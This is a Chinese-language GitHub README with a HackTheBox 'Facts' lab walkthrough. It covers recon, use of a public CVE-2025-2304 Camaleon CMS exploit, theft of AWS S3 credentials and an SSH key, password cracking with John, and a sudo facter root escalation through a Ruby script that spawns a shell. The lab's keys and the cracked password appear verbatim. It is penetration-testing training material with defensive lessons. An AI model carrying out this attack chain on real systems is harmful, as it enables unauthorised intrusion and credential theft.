mattiapertusati/htb-facts
GitHub: mattiapertusati/htb-facts
一个聚焦 HackTheBox 简易 Linux 靶机的渗透工具,集成 CVE-2025-2304、AWS S3、SSH 密钥与 Facter 提链的综合利用路径。
Stars: 0 | Forks: 0
# HTB — Facts (Easy/Linux) - 第 10 赛季




 

## 概述
Facts 是一台 Easy 级别的 Linux 机器,需要利用 Camaleon CMS 中的一个已知漏洞
(**CVE-2025-2304**) 来提取本地的 AWS S3 凭证。
对内部的 S3 bucket 进行枚举会发现一个 SSH 私钥,必须使用 John the Ripper 对其进行破解才能获得初始访问权限。
权限提升是通过利用 `/usr/bin/facter` 上的 `sudo` 配置错误来实现的,允许执行自定义的 Ruby 代码以获取 root shell。
**攻击链:** Nmap → Camaleon CMS (CVE-2025-2304) → S3 Bucket 枚举 → SSH 密钥破解 → `sudo facter` → Root
## 信息收集
### 端口扫描
让我们从 Nmap 扫描开始,识别目标机器上的活动服务。
Bash
```
nmap -sV -sC -oN nmap_facts 10.129.244.96
```
**结果:**
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: facts
|_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap 发现了两个开放端口:22 (SSH) 和 80 (HTTP)。
Web 服务器基于 Nginx。 为了能正常与网站交互,我们应该将主机 facts.htb 添加到我们的 /etc/hosts 文件中。
```
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
```
## Web 枚举
当访问 80 端口上的网站时,我们看到的是一个标准的网页。 为了发现隐藏路径,我们发起了目录暴力破解攻击(例如,使用 ffuf 或 gobuster)。
```
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
```
枚举发现了几个与管理面板相关的有趣目录(/admin、/admin.php 等),它们都会以 302 状态码重定向到 `http://facts.htb/admin/login。`

通过访问登录页面并进行身份验证(或查看面板的页脚),我们发现了网站背后的技术:**Camaleon CMS**。
右下角的一个细节引起了我们的注意:CMS 版本为 **2.9.0。**

## 漏洞利用
### Camaleon CMS (CVE-2025-2304)
在得知服务器运行的是 **Camaleon CMS 2.9.0** 后,通过快速的在线搜索,我们发现了一个被称为 `CVE-2025-2304` 的严重漏洞,它允许已认证用户**提升权限**成为管理员。
我们在 GitHub 上找到了一个公开的 exploit(由 `Alien0ne` 创建),并将其下载到我们的攻击机上。

我们通过传入我们掌握的凭证 **(例如,mattia:mattia)** 来运行 exploit,将自己提升为管理员,提取敏感信息,然后再恢复为原始角色,以免留下明显的痕迹。
```
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
```
Exploit 的输出是一座金矿:它成功提取了**本地 AWS S3 凭证**以及**服务器使用的内部端点**。
- **S3 Access Key**: AKIAA103ACAA5953D888
- **S3 Secret Key**: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
- **S3 Endpoint**: http://localhost:54321 (对我们来说就是 http://facts.htb:54321)

## S3 Bucket 枚举
有了这些密钥,我们就可以配置本地的 AWS CLI,与该机器暴露的 S3 服务进行交互。
```
aws configure
# 输入我们刚刚发现的 Access Key 和 Secret Key
# 默认 region: us
# 默认 output format: json
```
现在我们可以通过传入自定义的端点 URL 来列出可用的 bucket:
```
aws --endpoint-url http://facts.htb:54321 s3 ls
```
我们发现了两个 bucket:`internal` 和 `randomfacts`。 通过递归探索 `internal` bucket,我们发现了一个包含密钥的 `.ssh` 文件夹!
```
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
```
让我们将 `id_ed25519` 文件(SSH 私钥)下载到我们的机器上。
## SSH 密钥破解
我们拿到了私钥,但它受密码保护。 为了破解它,我们将使用 John the Ripper 套件。 首先,我们将使用 `ssh2john` 把密钥转换成 John 可以读取的格式:
```
ssh2john id_ed25519 > hash.txt
```
接下来,我们发起字典攻击(使用自定义的字典 `my_guess.txt` 或经典的 `rockyou.txt`):
```
john --wordlist=my_guess.txt hash.txt
```
密码被成功破解:`dragonballz`。 现在我们拥有了访问服务器所需的一切!

## 权限提升
现在我们有了所需的一切,我们可以利用之前发现的第二个开放端口:SSH 端口 (22)。
```
ssh -i id_ed25519 trivia@facts.htb
```
我们将使用之前找到的密码:`dragonballz`。 我们进去了!
现在我们需要弄清楚可以利用哪条路径来获得 `root` 访问权限,因此我们将使用 `sudo -l`。
**路径:**
`/usr/bin/facter`
为了利用这条路径,我们将使用一个微型脚本:
```
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
```
然后我们将运行它:
```
sudo /usr/bin/facter --custom-dir=/tmp pwn
```

我们正式成为 root 了!!!
现在我们只需要找到手头的两个 flag 就可以了 :)

## 经验教训
### 攻击视角
- 在页脚/标头中泄露 CMS 版本会立即暴露
攻击面
- 在完成指纹识别后,对特定版本的 CVE 研究始终是
第一步
- 诸如 S3 之类的内部服务可能会暴露
不打算公开的敏感数据
- 云存储中的 SSH 私钥是实际环境中常见的
一种严重配置错误
### 防御视角
- 切勿在应用程序代码或
可访问的存储中暴露 AWS 凭证
- 限制 S3 bucket 权限 — 内部 bucket
绝不应能被公开枚举
- 定期审计 sudo 权限 — 带有
NOPASSWD 的 facter 是通向 root 的直接路径
- 保持 CMS 软件更新 — CVE-2025-2304 已有
可用的补丁
## 攻击链总结
NMAP — 发现 2 个端口 (22, 80)
↓
Web 枚举 — 找到管理面板
↓
Camaleon CMS -> CVE-2025-2304
↓
Exploit + AWS 设置
↓
使用 John the ripper 破解哈希
↓
SSH 登录
↓
Sudo -l
↓
脚本 + 执行
↓
ROOT ✅
## 参考
- [CVE-2025-2304](https://www.cve.org/CVERecord?id=CVE-2025-2304)
- [Camaleon CMS](https://camaleon.tralev.net)
- [GTFOBins — facter](https://gtfobins.github.io/gtfobins/facter/)
- [HackTheBox — Facts](https://app.hackthebox.com/machines/Facts)
标签:CISA项目, HackTheBox, 协议分析, 安全Writeup, 安全助手, 权限提升, 渗透测试, 漏洞利用, 网络安全, 隐私保护